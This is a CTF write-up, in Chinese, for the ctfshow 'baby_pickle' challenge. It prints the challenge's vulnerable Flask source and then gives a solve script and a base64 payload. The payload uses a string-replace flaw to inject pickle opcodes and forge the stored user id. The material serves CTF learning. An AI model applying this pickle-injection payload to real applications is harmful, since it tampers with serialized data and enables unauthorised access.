ctfshow新手杯baby_pickle(python序列化与反序列化)
题目附件代码如下:
# Author:
# Achilles
# Time:
# 2022-9-20
# For:
# ctfshow
import base64
import pickle, pickletools
import uuid
from flask import Flask, request
app = Flask(__name__)
id = 0
flag = "ctfshow{" + str(uuid.uuid4()) + "}"
class Rookie():
def __init__(self, name, id):
self.name = name
self.id = id
@app.route("/")
def agent_show():
global id
id = id + 1
if request.args.get("name"):
name = request.args.get("name")
else:
name = "new_rookie"
new_rookie = Rookie(name, id)
try:
file = open(str(name) + "_info", 'wb')
info = pickle.dumps(new_rookie, protocol=0)
info = pickletools.optimize(info)
file.write(info)
file.close()
except Exception as e:
return "error"
with open(str(name)+"_info", "rb") as file:
user = pickle.load(file)
message = "<h1>欢迎来到新手村" + user.name + "</h1>\n<p>" + "只有成为大菜鸡才能得到flag" + "</p>"
return message
@app.route("/dacaiji")
def get_flag():
name = request.args.get("name")
with open(str(name)+"_info", "rb") as f:
user = pickle.load(f)
if user.id != 0:
message = "<h1>你不是大菜鸡</h1>"
return message
else:
message = "<h1>恭喜你成为大菜鸡</h1>\n<p>" + flag + "</p>"
return message
@app.route("/change")
def change_name():
name = base64.b64decode(request.args.get("name"))
newname = base64.b64decode(request.args.get("newname"))
file = open(name.decode() + "_info", "rb")
info = file.read()
print("old_info ====================")
print(info)
print("name ====================")
print(name)
print("newname ====================")
print(newname)
info = info.replace(name, newname)
print(info)
file.close()
with open(name.decode()+ "_info", "wb") as f:
f.write(info)
return "success"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8888)
对于类似的代码审计题目,一定要多在本地尝试,试着运行,百度不会的函数等,然后运行查看结果。
我当时的解法脚本是,
import requests
s = requests.Session()
url = 'http://5fe13c7b-72f7-40e6-8b31-d763cce56343.challenge.ctf.show/'
p1 = {
'name':1,
}
res1 = s.get(url=url,params=p1)
p2 = {
'name':'MQ==',
'newname':'MA==',
}
res2 = s.get(url=url+'change',params=p2)
res3 = s.get(url=url+'dacaiji',params=p1)
print(res3.text)
这里一定要保证打开环境后url我们从未访问过!!!!
而正经解法是利用了源码里面的replace进行了逃逸。具体如下
我们这里先看一下id为1或2的序列化字节有什么不同:
print(pickletools.optimize(pickle.dumps(Rookie("aaa",0),protocol=0)))
print(pickletools.optimize(pickle.dumps(Rookie("aaa",1),protocol=0)))
b'ccopy_reg\n_reconstructor\n(c__main__\nRookie\nc__builtin__\nobject\nNtR(dVname\nVaaa\nsVid\nI0\nsb.'
b'ccopy_reg\n_reconstructor\n(c__main__\nRookie\nc__builtin__\nobject\nNtR(dVname\nVaaa\nsVid\nI1\nsb.'
可以发现不同的数字。并且最后那个`.`起句号作用,相当于PHP反序列化逃逸的`}`
我们先传参数?name=aaa
然后我们在/change页面,将name改为(这里我的建议是不写\n表示换行,而是直接敲回车然后进行base64编码)
aaa
sVid
I0
sb.
payload如下:
/change?name=YWFh&newname=YWFhCnNWaWQKSTAKc2Iu